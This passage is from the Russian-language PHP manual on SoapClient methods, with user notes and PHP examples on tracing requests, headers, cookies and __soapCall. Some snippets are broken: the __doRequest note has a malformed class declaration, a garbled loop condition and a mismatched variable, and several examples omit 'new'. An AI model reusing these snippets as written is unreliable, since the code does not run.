  $result =  $soapClient->BewaarVersie($this->sessieId,$soapVersieType); //BewaarVersie is a function derived from my WSDL with two params.
}
catch(SoapFault $e){
  trigger_error('Something soapy went wrong: '.$e->faultstring,E_USER_WARNING);            }
?>
After some more testing i found out that the conversion to the StdClass() object was not required. My 'Versie' local object has the attributes for the 'Versie' wsdl complex type defined as private vars and give no pain when i create the SoapVar with an instance of the local 'Versie' Object.
metator at netcabo dot pt 20-Oct-2005 04:32
You can use this method to correct the SOAP request before sending it, if necessary. You can use the DOM API to accomplish that.

<?php

public ExtendedClient extends SoapClient {

   function __construct($wsdl, $options = null) {
      parent::__construct($wsdl, $options);
   }

   function __doRequest($request, $location, $action, $version) {
      $dom = new DOMDocument('1.0');

      try {

         //loads the SOAP request to the Document
         $dom->loadXML($request);

      } catch (DOMException $e) {
         die('Parse error with code ' . $e->code);
      }

      //create a XPath object to query the request
      $path = new DOMXPath($dom);

      //search for a node
      $nodesToFix = $path->query('//SOAP-ENV:Envelope/SOAP-ENV:Body/path/to/node');

      //check if nodes are ok
      $this->checkNodes($path, $nodesToFix);

      //save the modified SOAP request
      $request = $dom->saveXML();

      //doRequest
      return parent::__doRequest($request, $location, $action, $version);
   }

   function checkNodes(DOMXPath $path, DOMNodeList $nodes) {
      //iterate through the node list
      for ($i = 0; $ < $nodes->length; $i++) {
         $aNode = $nodes->item($i);

         //just an example
         if ($node->nodeValue == null) {
            //do something. For instance, let's remove it.
            $node->parentNode->removeChild($node);
         }
      }
   }
}
?>

This gives the developer the chance to solve interoperability problems with a web service.


Получить список cookies

  • « SoapClient::__doRequest
  • SoapClient::__getFunctions »
  • PHP Manual
  • SoapClient
  • Получить список cookies

SoapClient::__getCookies

(PHP 5 >= 5.4.30, PHP 7, PHP 8)

SoapClient::__getCookies — Получить список cookies

Описание

public SoapClient::__getCookies(): array

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает список доступных SOAP-функций

  • « SoapClient::__getCookies
  • SoapClient::__getLastRequest »
  • PHP Manual
  • SoapClient
  • Возвращает список доступных SOAP-функций

SoapClient::__getFunctions

(PHP 5, PHP 7, PHP 8)

SoapClient::__getFunctions — Возвращает список доступных SOAP-функций

Описание

public SoapClient::__getFunctions(): ?array

Возвращает массив функций, описанных в WSDL для веб-службы.

Замечание:

Эта функция работает только в режиме WSDL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) прототипов функций SOAP c описанием типа возвращаемого значения, имени функции и типов параметров.

Примеры

Пример #1 Пример использования SoapClient::__getFunctions()

<?php
$client = new SoapClient('http://soap.amazon.com/schemas3/AmazonWebServices.wsdl');
var_dump($client->__getFunctions());
?>

Результат выполнения приведённого примера:

array(26) {
  [0]=>
  string(70) "ProductInfo KeywordSearchRequest(KeywordRequest $KeywordSearchRequest)"
  [1]=>
  string(79) "ProductInfo TextStreamSearchRequest(TextStreamRequest $TextStreamSearchRequest)"
  [2]=>
  string(64) "ProductInfo PowerSearchRequest(PowerRequest $PowerSearchRequest)"
...
  [23]=>
  string(107) "ShoppingCart RemoveShoppingCartItemsRequest(RemoveShoppingCartItemsRequest $RemoveShoppingCartItemsRequest)"
  [24]=>
  string(107) "ShoppingCart ModifyShoppingCartItemsRequest(ModifyShoppingCartItemsRequest $ModifyShoppingCartItemsRequest)"
  [25]=>
  string(118) "GetTransactionDetailsResponse GetTransactionDetailsRequest(GetTransactionDetailsRequest $GetTransactionDetailsRequest)"
}

Смотрите также

  • SoapClient::__construct() - Конструктор класса SoapClient

User Contributed Notes

jvanoort at simplexis dot nl 05-Jan-2016 03:32
_getFunctions can return null, not only array. This happens if the WSDL has not been parsed yet. This may be helpful to someone debugging, just like I was a few minutes ago when writing an extension to SoapClient.
Beebs 13-Nov-2013 02:26
The following code works for me while it appears soap.amazon.com has been deprecated and taken out of service. http://webservices.amazon.com has replaced Amazon's SOAP.

<?php
$client = new SoapClient('http://webservices.amazon.com/AWSECommerceService/AWSECommerceService.wsdl');
var_dump($client->__getFunctions());
?>
hasegeli at arebt dot com 02-Jun-2009 12:19
This function did not work if schema is not in wsdl file.


Возвращает последний SOAP-запрос

  • « SoapClient::__getFunctions
  • SoapClient::__getLastRequestHeaders »
  • PHP Manual
  • SoapClient
  • Возвращает последний SOAP-запрос

SoapClient::__getLastRequest

(PHP 5, PHP 7, PHP 8)

SoapClient::__getLastRequest — Возвращает последний SOAP-запрос

Описание

public SoapClient::__getLastRequest(): ?string

Возвращает XML, переданный в последнем SOAP-запросе.

Замечание:

Метод работает только для объекта SoapClient, созданного с настройкой trace, равной true.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последний SOAP-запрос в виде строки с XML.

Примеры

Пример #1 Пример использования SoapClient::__getLastRequest()

<?php
$client = new SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "ЗАПРОС:\n" . $client->__getLastRequest() . "\n";
?>

Смотрите также

  • SoapClient::__getLastRequestHeaders() - Возвращает SOAP-заголовки последнего запроса
  • SoapClient::__getLastResponse() - Возвращает последний SOAP-ответ
  • SoapClient::__getLastResponseHeaders() - Возвращает SOAP-заголовки последнего ответа

User Contributed Notes

hejdavladislav at gmail dot com 15-Sep-2016 10:20
Note that when you create SoapClient with option "trace" set to FALSE or omit it, than "__getLastRequest()" always returns NULL.
LZhang 11-Jul-2014 08:22
Creating an xml file and link to the file is my way.

$outputxml = '/output.xml';

file_put_contents($_SERVER['DOCUMENT_ROOT'] . $outputxml, $client->__getLastRequest());

echo '<a href="' . $outputxml . '">here</a>';
mayurvirkar at gmail dot com 09-Sep-2013 08:37
Just to make it a bit more readable

echo "REQUEST:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastRequest())) . "\n";
echo "Response:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastResponse())) . "\n";

PS: If you are using \n then you need to enclose above statements in <pre>. You can also use <br />, but it gets a bit messy.
Anonymous 26-Jan-2010 01:32
Adding htmlentities() can be helpful since it makes the XML visible in your browser without needing to view the source.

<?php

echo "REQUEST:\n" . htmlentities($client->__getLastRequest()) . "\n";

?>
Ersin DOGAN 12-Apr-2009 10:40
I guess many peoples calls getLastRequest and it returns nothing. "Heey where is the my last request". Now we will see our request,  when you created a SoapClient instance, you should give a option parameter as below :

<?php
// below $option=array('trace',1);
// correct one is below
$option=array('trace'=>1);

$client=new SoapClient('some.wsdl',$option);

try{
  $client->aMethodAtRemote();
}catch(SoapFault $fault){
  // <xmp> tag displays xml output in html
  echo 'Request : <br/><xmp>',
  $client->__getLastRequest(),
  '</xmp><br/><br/> Error Message : <br/>',
  $fault->getMessage();
}
?>

"trace" parameter enables output of request. Now, you should see SOAP request.
Omar Nabil 12-Nov-2008 06:14
the getLastResult function doesn't require that the server answers.
as my browser handled and hided the xml code I thought the function doesn't return the last request


Возвращает SOAP-заголовки последнего запроса

  • « SoapClient::__getLastRequest
  • SoapClient::__getLastResponse »
  • PHP Manual
  • SoapClient
  • Возвращает SOAP-заголовки последнего запроса

SoapClient::__getLastRequestHeaders

(PHP 5, PHP 7, PHP 8)

SoapClient::__getLastRequestHeaders — Возвращает SOAP-заголовки последнего запроса

Описание

public SoapClient::__getLastRequestHeaders(): ?string

Возвращает SOAP-заголовки последнего запроса.

Замечание:

Функция работает только, если объект SoapClient был создан с настройкой trace, равной true.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Заголовки последнего SOAP-запроса.

Примеры

Пример #1 Пример использования SoapClient::__getLastRequestHeaders()

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "ЗАГОЛОВКИ ЗАПРОСА:\n" . $client->__getLastRequestHeaders() . "\n";
?>

Смотрите также

  • SoapClient::__getLastResponseHeaders() - Возвращает SOAP-заголовки последнего ответа
  • SoapClient::__getLastRequest() - Возвращает последний SOAP-запрос
  • SoapClient::__getLastResponse() - Возвращает последний SOAP-ответ

User Contributed Notes

mischa molhoek 02-Jun-2015 08:48
it seems to me that is does not return the SOAP headers as it states in the explanation, but the request headers....


Возвращает последний SOAP-ответ

  • « SoapClient::__getLastRequestHeaders
  • SoapClient::__getLastResponseHeaders »
  • PHP Manual
  • SoapClient
  • Возвращает последний SOAP-ответ

SoapClient::__getLastResponse

(PHP 5, PHP 7, PHP 8)

SoapClient::__getLastResponse — Возвращает последний SOAP-ответ

Описание

public SoapClient::__getLastResponse(): ?string

Возвращает XML, полученный в последнем SOAP-ответе.

Замечание:

Метод работает только для объекта SoapClient, созданного с настройкой trace, равной true.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последний SOAP-ответ в виде строки с XML.

Примеры

Пример #1 Пример использования SoapClient::__getLastResponse()

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "Ответ:\n" . $client->__getLastResponse() . "\n";
?>

Смотрите также

  • SoapClient::__getLastResponseHeaders() - Возвращает SOAP-заголовки последнего ответа
  • SoapClient::__getLastRequest() - Возвращает последний SOAP-запрос
  • SoapClient::__getLastRequestHeaders() - Возвращает SOAP-заголовки последнего запроса

User Contributed Notes

mayurvirkar at gmail dot com 09-Sep-2013 08:38
Just to make it a bit more readable

echo "REQUEST:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastRequest())) . "\n";
echo "RESPONSE:\n" . htmlentities(str_ireplace('><', ">\n<", $client->__getLastResponse())) . "\n";

PS: If you are using \n then you need to enclose above statements in <pre>. You can also use <br />, but it gets a bit messy.
bshafs at gmail dot com 22-Jun-2011 12:45
You don't need to surround SoapClient in a try-catch block.  Just set the "exceptions" option to false, and the SoapFault instance will be returned instead of thrown.
ceo at l-i-e dot com 04-Jan-2006 01:31
D'oh!
That example needs:
$soapClient = new SoapClient($url, array('trace'=>1));
to turn ON tracing in the first place.
ceo at l-i-e dot com 04-Jan-2006 01:30
You almost for sure will need to wrap a try/catch block around your SOAP call in order to use these to debug something that's not working.

Otherwise, PHP throws a fatal error before you can execute this function.

For example:
<?php
    $soapClient = new SoapClient($url);
    echo htmlentities($soapClient->__getFunctions());
    //Assume that has output 'someFunction' (among others)
    try {
        $results = $soapClient->someFunction(...);
    }
    catch (SoapFault $soapFault) {
        var_dump($soapFault);
        echo "Request :<br>", htmlentities($soapClient->__getLastRequest()), "<br>";
        echo "Response :<br>", htmlentities($soapClient->__getLastResponse()), "<br>";
    }
?>

Without try/catch, your just get the Fatal Error and PHP commits suicide before you can call __getLastRequest/__getLastResponse


Возвращает SOAP-заголовки последнего ответа

  • « SoapClient::__getLastResponse
  • SoapClient::__getTypes »
  • PHP Manual
  • SoapClient
  • Возвращает SOAP-заголовки последнего ответа

SoapClient::__getLastResponseHeaders

(PHP 5, PHP 7, PHP 8)

SoapClient::__getLastResponseHeaders — Возвращает SOAP-заголовки последнего ответа

Описание

public SoapClient::__getLastResponseHeaders(): ?string

Возвращает SOAP-заголовки последнего ответа.

Замечание:

Функция работает только, если объект SoapClient был создан с настройкой trace, равной true.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Заголовки последнего SOAP-ответа.

Примеры

Пример #1 Пример использования SoapClient::__getLastResponse()

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "ЗАГОЛОВКИ ОТВЕТА:\n" . $client->__getLastResponseHeaders() . "\n";
?>

Смотрите также

  • SoapClient::__getLastRequestHeaders() - Возвращает SOAP-заголовки последнего запроса
  • SoapClient::__getLastRequest() - Возвращает последний SOAP-запрос
  • SoapClient::__getLastResponse() - Возвращает последний SOAP-ответ

User Contributed Notes

noncey 30-Sep-2015 12:33
For long running scripts which may be set to a longer timeout in the PHP script, be aware that the IIS connection timeout settings do not restart when you initiate a SOAP call even though you are using a new web address than your current running script.

Because of this, we noted a SOAP call that seemed to not return headers from a Web Service. It was found to be related to IIS timing out. This was in IIS 7.5. The resolution was to increase the connection timeout for IIS at the website/domain level.

There were no faults or exceptions captured when this occurred so your only indicator is that you have no header information.
jeroen{at}asystance{dot}nl 17-Aug-2009 03:20
Note SoapClient does not wait for a response for one-way operations (i.e. <wsdl:operation>s that do not have a <wsdl:response>)! To see if a request failed, use
$sc = new SoapClient( 'some.wsdl', array('features'=>SOAP_WAIT_ONE_WAY_CALLS));

See http://bugs.php.net/bug.php?id=36083 and http://bugs.php.net/bug.php?id=49278


Возвращает список SOAP-типов

  • « SoapClient::__getLastResponseHeaders
  • SoapClient::__setCookie »
  • PHP Manual
  • SoapClient
  • Возвращает список SOAP-типов

SoapClient::__getTypes

(PHP 5, PHP 7, PHP 8)

SoapClient::__getTypes — Возвращает список SOAP-типов

Описание

public SoapClient::__getTypes(): ?array

Возвращает массив типов, описанных в WSDL для веб-службы.

Замечание:

Эта функция работает только в режиме WSDL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) SOAP-типов с подробным описанием всех структур и типов.

Примеры

Пример #1 Пример использования SoapClient::__getTypes()

<?php
$client = new SoapClient('http://soap.amazon.com/schemas3/AmazonWebServices.wsdl');
var_dump($client->__getTypes());
?>

Результат выполнения приведённого примера:

array(88) {
  [0]=>
  string(30) "ProductLine ProductLineArray[]"
  [1]=>
  string(85) "struct ProductLine {
 string Mode;
 string RelevanceRank;
 ProductInfo ProductInfo;
}"
  [2]=>
  string(105) "struct ProductInfo {
 string TotalResults;
 string TotalPages;
 string ListName;
 DetailsArray Details;
}"
...
  [85]=>
  string(32) "ShortSummary ShortSummaryArray[]"
  [86]=>
  string(121) "struct GetTransactionDetailsRequest {
 string tag;
 string devtag;
 string key;
 OrderIdArray OrderIds;
 string locale;
}"
  [87]=>
  string(75) "struct GetTransactionDetailsResponse {
 ShortSummaryArray ShortSummaries;
}"
}

Смотрите также

  • SoapClient::__construct() - Конструктор класса SoapClient

User Contributed Notes

Serge Liatko 28-Dec-2022 05:40
Here is the fixed version of my previous code (@moderators , please delete my previous note )

Returns a more comprehensive array of SOAP Client types as an array

<?PHP
/**
 * @param \SoapClient $soap
 *
 * @return array The WSDL types data as an array.
 */
function read_wsdl_types( SoapClient $soap ): array {
    $wsdl_types = $soap->__getTypes();
    $lookup     = array();
    $regexes    = array(
        'atomic' => '/^([\w_]+)\s([\w_]+)$/mi',
        'list'   => '/^([\w_]+)\s([\w_]+)[ {]+([\w_]+)[ }]+$/mi',
        'struct' => '/([\w_]+)\s([\w_]+)[\s{]?([\w_]+)*[\s;}]?/mi',
    );
    foreach ( array_reverse( $wsdl_types ) as $wsdl_type ) {
        $matches = array();
        foreach ( $regexes as $type => $regex ) {
            if ( preg_match_all( $regex, $wsdl_type, $matches ) ) {
                break;
            }
        }
        if ( !empty( $matches[1] ) && !empty( $matches[2] ) ) {
            switch ( $type ) {
                case 'atomic':
                    $name            = array_shift( $matches[2] );
                    $data_type       = array_shift( $matches[1] );
                    $lookup[ $name ] = array(
                        'name'      => $name,
                        'type'      => $type,
                        'data_type' => $data_type,
                        'items'     => array(),
                    );
                    break;
                case 'list':
                    $name            = array_shift( $matches[2] );
                    $type            = array_shift( $matches[1] );
                    $items           = array_shift( $matches[3] );
                    $lookup[ $name ] = array(
                        'name'      => $name,
                        'type'      => $type,
                        'data_type' => $items,
                        'items'     => array(
                            array(
                                'name'      => '',
                                'data_type' => $items,
                            ),
                        ),
                    );
                    break;
                case 'struct':
                    $name  = array_shift( $matches[2] );
                    $type  = array_shift( $matches[1] );
                    $items = array();
                    foreach ( $matches[2] as $key => $item_name ) {
                        $items[ $key ] = array(
                            'name'      => $item_name,
                            'data_type' => $matches[1][ $key ],
                        );
                    }
                    $lookup[ $name ] = array(
                        'name'      => $name,
                        'type'      => $type,
                        'data_type' => $name,
                        'items'     => $items,
                    );
                    break;
            }
        }

    }

    array_walk( $lookup, function ( &$type, $key, $data ) {
        if ( !empty( $type['items'] ) ) {
            array_walk( $type['items'], function ( &$item, $key, $data ) {
                if ( !empty( $item['data_type'] ) ) {
                    $old_data_type     = $item['data_type'];
                    $item['type']      = $data[ $old_data_type ]['type'] ?? 'atomic';
                    $item['data_type'] = $data[ $old_data_type ]['data_type'] ?? $old_data_type;
                    $item['from']      = $data[ $old_data_type ]['name'] ?? '';
                }
            }, $data );
        }
    }, $lookup );

    return array_reverse( $lookup );
}
?>
felipe dot cwb at hotmail dot com 21-Jul-2014 06:50
<?php
// to see formated types

$soap = new SoapClient('http://domain.com/ws.php?WSDL');

echo '<pre>';
echo '<h2>Types:</h2>';
$types = $soap->__getTypes();
foreach ($types as $type) {
    $type = preg_replace(
        array('/(\w+) ([a-zA-Z0-9]+)/', '/\n /'),
        array('<font color="green">${1}</font> <font color="blue">${2}</font>', "\n\t"),
        $type
    );
    echo $type;
    echo "\n\n";
}
echo '</pre>';


Устанавливает cookie для запросов SOAP

  • « SoapClient::__getTypes
  • SoapClient::__setLocation »
  • PHP Manual
  • SoapClient
  • Устанавливает cookie для запросов SOAP

SoapClient::__setCookie

(PHP 5 >= 5.0.4, PHP 7, PHP 8)

SoapClient::__setCookie — Устанавливает cookie для запросов SOAP

Описание

public SoapClient::__setCookie(string $name, ?string $value = null): void

Определяет cookie, которые будут отправлены с SOAP-запросами.

Замечание:

Вызов этого метода повлияет на все последующие вызовы методов SoapClient.

Список параметров

name

Имя cookie.

value

Значение cookie. Если не указано, то cookie будет удалён.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | value теперь допускает значение null.

User Contributed Notes

Jaygiri Goswami 17-Dec-2011 01:22
You can access the cookies sent by SOAP server using $client->_cookies

Most you need to send session cookies back to server.
lukasz at szostak dot biz 14-Aug-2006 10:53
On the server side you can access the cookie via $_COOKIE['cookie_name'].

Also remember that since HTTP is a stateless protocol, you have to send the cookie with every single SOAP call in order for it to be visible at server site.

It seems obvious but might save one a lot of time.


Устанавливает адрес используемой веб-службы

  • « SoapClient::__setCookie
  • SoapClient::__setSoapHeaders »
  • PHP Manual
  • SoapClient
  • Устанавливает адрес используемой веб-службы

SoapClient::__setLocation

(PHP 5 >= 5.0.4, PHP 7, PHP 8)

SoapClient::__setLocation — Устанавливает адрес используемой веб-службы

Описание

public SoapClient::__setLocation(?string $location = null): ?string

Устанавливает URL конечной точки, затрагивающий последующие SOAP-запросы. Эквивалентна настройке location, указываемой в конструкторе SoapClient.

Замечание:

Вызов метода необязателен. По умолчанию SoapClient использует адрес из WSDL-файла.

Список параметров

location

Новый URL конечной точки.

Возвращаемые значения

Старый URL конечной точки.

Список изменений

Версия | Описание
8.0.3 | location теперь допускает значение null.

Примеры

Пример #1 Пример использования SoapClient::__setLocation()

<?php
$client = new SoapClient('http://example.com/webservice.php?wsdl');

$client->__setLocation('http://www.somethirdparty.com');

$old_location = $client->__setLocation(); // сбрасывает настройку адреса

echo $old_location;

?>

Вывод приведённого примера будет похож на:

http://www.somethirdparty.com

Смотрите также

  • SoapClient::__construct() - Конструктор класса SoapClient

User Contributed Notes

maoneid at gmail dot com 24-May-2018 07:24
for some cases , ignoring location from initialization throw exception

PHP Fatal error:  Uncaught SoapFault exception: [HTTP] Could not connect to host

Better call and define the end point location manually.


Устанавливает SOAP-заголовки для последующих вызовов

  • « SoapClient::__setLocation
  • SoapClient::__soapCall »
  • PHP Manual
  • SoapClient
  • Устанавливает SOAP-заголовки для последующих вызовов

SoapClient::__setSoapHeaders

(PHP 5 >= 5.0.5, PHP 7, PHP 8)

SoapClient::__setSoapHeaders — Устанавливает SOAP-заголовки для последующих вызовов

Описание

public SoapClient::__setSoapHeaders(SoapHeader|array|null $headers = null): bool

Определяет заголовки для отправки вместе с SOAP-запросами.

Замечание:

Вызов этого метода заменит любые предыдущие значения.

Список параметров

headers

Устанавливаемые заголовки. Это может быть объект SoapHeader или массив объектов SoapHeader. Если не указано или равно null, заголовки будут удалены.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования SoapClient::__setSoapHeaders()

<?php

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$header = new SoapHeader('http://soapinterop.org/echoheader/',
'echoMeStringRequest',
'hello world');

$client->__setSoapHeaders($header);

$client->__soapCall("echoVoid", null);
?>

Пример #2 Установка нескольких заголовков

<?php

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$headers = array();

$headers[] = new SoapHeader('http://soapinterop.org/echoheader/',
'echoMeStringRequest',
'hello world');

$headers[] = new SoapHeader('http://soapinterop.org/echoheader/',
'echoMeStringRequest',
'hello world again');

$client->__setSoapHeaders($headers);

$client->__soapCall("echoVoid", null);
?>

User Contributed Notes

mlconnor at yahoo dot com 11-Nov-2010 01:28
Does anyone know how to get the response headers?  The getLastResponseHeader returns a string response, not the complex object I was expecting...
peamik1953 at NOSPAM dot btinternet dot com 12-Jul-2010 11:06
You cannot add an additional header. If you want two headers, and one already exists, first delete it with $client->__setSoapHeaders(NULL). Then issue $client->__setSoapHeaders($headers) where $headers is an array of soapHeader() objects.
kedar dot purohit @ mavs dot uta dot edu 10-Sep-2009 12:58
To create complex SOAP Headers, you can do something like this:

Required SOAP Header:

<soap:Header>
    <RequestorCredentials xmlns="http://namespace.example.com/">
      <Token>string</Token>
      <Version>string</Version>
      <MerchantID>string</MerchantID>
      <UserCredentials>
        <UserID>string</UserID>
        <Password>string</Password>
      </UserCredentials>
    </RequestorCredentials>
</soap:Header>

Corresponding PHP code:

<?php

$ns = 'http://namespace.example.com/'; //Namespace of the WS.

//Body of the Soap Header.
$headerbody = array('Token' => $someToken,
                    'Version' => $someVersion,
                    'MerchantID'=>$someMerchantId,
                      'UserCredentials'=>array('UserID'=>$UserID,
                                             'Password'=>$Pwd));

//Create Soap Header.
$header = new SOAPHeader($ns, 'RequestorCredentials', $headerbody);

//set the Headers of Soap Client.
$soap_client->__setSoapHeaders($header);

?>
jayrajput at gmail dot com 30-Mar-2009 01:07
With multiple SOAP headers, when using SoapVar for creation of SoapHeader the PHP code just terminates (command terminated). I am not sure if that is a bug.

Without the SOAPVar the code worked fine for me

There are different way to creart SoapHeader I was using SoapVar and the code was not working. I am still a novice with this SOAP stuff.

Tried using normal strings and it worked fine. SoapHeader can take SoapVar or string as the third argument.

my code:

<?php
// first soap header.
$var = new SoapVar($header, XSD_ANYXML);
$soapHeader = new SoapHeader(NAME_SPACE, "Security", $var);
// second soap header.
$var2 = new SoapVar($header2, XSD_ANYXML);
$soapHeader2 = new SoapHeader(DIFF_NAME_SPACE, "ID", $var2);

$client = new SoapClient($wsdl, array("location" => $location));

$headers = array();
$headers[] = $soapHeader;
$headers[] = $soapHeader2;

// Here my code was just terminating.
$client->__setSoapHeaders($headers);
?>


Вызывает SOAP-функцию

  • « SoapClient::__setSoapHeaders
  • SoapServer »
  • PHP Manual
  • SoapClient
  • Вызывает SOAP-функцию

SoapClient::__soapCall

(PHP 5, PHP 7, PHP 8)

SoapClient::__soapCall — Вызывает SOAP-функцию

Описание

public SoapClient::__soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed

Это низкоуровневая функция API, которая позволяет сделать SOAP-вызов. Обычно в режиме WSDL функции SOAP вызываются как методы объекта SoapClient. Этот метод полезен в режиме, отличном от WSDL, когда soapaction неизвестен, uri отличается от URI по умолчанию или при отправке и/или получении SOAP-заголовков.

В случае возникновения ошибки вызов SOAP-функции может привести к исключению или к возврату объекта SoapFault, если исключения отключены. Чтобы проверить, что вызов функции завершился неудачей, поймав исключение SoapFault, проверьте результат с помощью is_soap_fault().

Список параметров

name

Имя вызываемой SOAP-функции.

args

Массив аргументов, передаваемых в функцию. Это может быть упорядоченный или ассоциативный массив. Обратите внимание, что большинство SOAP-серверов требуют предоставлять имена параметров, и в этом случае это должен быть ассоциативный массив.

options

Ассоциативный массив настроек, передаваемых клиенту.

Настройка location - URL удалённой веб-службы.

Настройка uri - целевое пространство имён SOAP-службы.

Настройка soapaction - действие для вызова.

inputHeaders

Массив заголовков, отправляемых вместе с SOAP-запросом.

outputHeaders

Если указан, то этот массив будет заполнен заголовками из SOAP-ответа.

Возвращаемые значения

Функции SOAP могут возвращать одно или несколько значений. Если функция SOAP возвращает только одно значение, то возвращаемое значение будет скаляром. Если возвращается несколько значений, то вместо них возвращается ассоциативный массив именованных выходных параметров.

В случае возникновения ошибки, если объект SoapClient был объявлен с опцией exceptions со значением false, будет возвращён объект SoapFault.

Примеры

Пример #1 Пример использования SoapClient::__soapCall()

<?php

$client = new SoapClient("some.wsdl");
$client->SomeFunction($a, $b, $c);

$client->__soapCall("SomeFunction", array($a, $b, $c));
$client->__soapCall("SomeFunction", array($a, $b, $c), NULL,
new SoapHeader(), $output_headers);

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$client->SomeFunction($a, $b, $c);
$client->__soapCall("SomeFunction", array($a, $b, $c));
$client->__soapCall("SomeFunction", array($a, $b, $c),
array('soapaction' => 'some_action',
'uri' => 'some_uri'));
?>

Смотрите также

  • SoapClient::__construct() - Конструктор класса SoapClient
  • SoapParam::__construct() - Конструктор SoapParam
  • SoapVar::__construct() - Конструктор SoapVar
  • SoapHeader::__construct() - Конструктор SoapHeader
  • SoapFault::__construct() - Конструктор SoapFault
  • is_soap_fault() - Проверяет, произошла ли ошибка при вызове SOAP

User Contributed Notes

arturklesun at gmail dot com 10-Aug-2016 06:16
Sharing my experience cuz i believe it is most important for you if you decide to use this Soap Client implementation.

At php 7.0.8 the stdClass generated by SoapClient from the response does not use "minOccurs" and "maxOccurs" WSDL modifiers to distinct properties in stdClass-es (aka keys in "associative arrays") and elements in arrays ("aka indexed arrays").

Instead, the implementation decides whether tag is _a key in associative array_ or _one of elements with same tag in indexed array_ by simply the fact whether there is just one element with such tag in the sequence or many.

Consider alive example from my case:
<?php
response xml:
...
<ValidatingCarrier>
    <Alternate>AA</Alternate>
</ValidatingCarrier>
...
<ValidatingCarrier>
    <Alternate>AA</Alternate>
    <Alternate>AY</Alternate>
</ValidatingCarrier>
...

response structure generated by SoapClient:
...
[ValidatingCarrier] => stdClass Object(
    [Alternate] => AA // here it is a string
)
...
[ValidatingCarrier] => stdClass Object (
    [Alternate] => Array ( // and here this is an array
        [0] => AA
        [1] => AY
    )
)
...

field XSD definition:
<xs:element name="Alternate" type="CarrierCode" minOccurs="0" maxOccurs="24">
?>

You see, the definition in XSD tells us this tag can be repeated up to 24 times, what means it would be an indexed array, but SoapClient does not take that into account and treats the first <Alternate> in example as a value instead of array containing this value.

Undoubtedly, a value should be a property in the stdClass (a key in associative array) _only_ when maxOccurs is 1 or less or not specified (default is 1, see https://www.w3.org/TR/xmlschema-0/#OccurrenceConstraints). Hope this info will be useful for you when you will be implementing your own, correctly working, SoapClient.
ub at sturmundbraem dot ch 11-Jun-2016 12:51
To avoid the SOAP client returning sometimes objects and sometimes arrays of objects, there's a setting:

   $this->soapClient = new \SoapClient($wsdlUrl, array(
    'features' => SOAP_SINGLE_ELEMENT_ARRAYS,
    'trace' => DEBUG_SOAP
   ));
pmeth at softersoftware dot com 12-May-2014 04:44
Note, when trying to overload the __soapCall function, you should not use type hints or STRICT_STANDARDS will complain.
The correct signature is as follows:

<?php
class MySoapClient extends \SoapClient
{
    ...
    public function __soapCall($function_name, $arguments, $options = null, $input_headers = null, &$output_headers = null)
     {
        ...
    }
    ....
}
?>
vb 17-Oct-2012 04:23
Note that calling __soapCall and calling the generated method from WSDL requires specifying parameters in two different ways.

For example, if you have a web service with method login that takes username and password, you can call it the following way:
<?php
$params = array('username'=>'name', 'password'=>'secret');
$client->login($params);
?>

If you want to call __soapCall, you must wrap the arguments in another array as follows:
<?php
$client->__soapCall('login', array($params));
?>
snuufix+nospam at gmail dot com 11-Feb-2011 03:23
I am using SOAP call response headers to sign request results.

After alot of hours, I finally got the best way to get SOAP response headers (other than parsing __getLastResponse() witch requires trace option enabled) is using __soapCall() wrapper.

You can extend SoapClient class and wrap some functions to make sure you get the headers.

<?php

class API extends SoapClient
{

    // ... Constructor, etc.

    // Get SOAP Server response headers
    public function __soapCall($function, $arguments, $options = array(), $input_headers = null, &$output_headers = null)
    {
        parent::__soapCall($function, $arguments, $options, $input_headers, $output_headers);

        print_r($output_headers); // Array of response headers
    }

    // If you are using WSDL you need this, so you still can call functions directly without calling __soapCall manualy
    public function __call($func, $args)
    {
        return $this->__soapCall($func, $args);
    }

?>
niko dot hujanen at gmail dot com 09-Nov-2010 11:06
I was integrating a local warehouse system with a SOAP to our system and noticed some things.

1) Service uses "dot-namespacing" (fe. Item.Price) I classmapped this to Item_Price and used magical __get() and __set() to strip off 'Item.' from variable names. Works like a charm.

Example:
<Item.Price>1.52</Item.Price>

<?php
class Item_Price {
    public $price;
    public function __get($field) { $field = str_replace('Item.', '', $field); return $this->$field; }
    public function __set($field, $value) { $field = str_replace('Item.', '', $field); $this->$field = $value; }
?>

2) I noticed that classmapping a segment with attributes and value is possible. Class uses variables as attributes and $_ is the value.

Example:
<?php
class Foo {
    public $item = 'Bar';
    public $_ = 'Value here';
}
?>
Turns to <Foo item="Bar">Value here</Foo>

Example of using classes with soapcalls:
<?php
    $client = ExtendSoapClient::getInstance();
    $foo = new Foo();
    $response = $client->sendFoo($foo);
?>

Posted these since I think the documentation is lacking and very obsolete. Hopefully someone's burden eases.
james dot ellis at gmail dot com 09-Jun-2010 07:12
If you are using this method, remember that the array of arguments need to be passed in with the ordering being the same order that the SOAP endpoint expects.

e.g
<?php
//server expects: Foo(string name, int age)

//won't work
$args = array(32, 'john');
$out = $client->__soapCall('Foo', $args);

//will work
$args = array('john', 32);
$out = $client->__soapCall('Foo', $args);
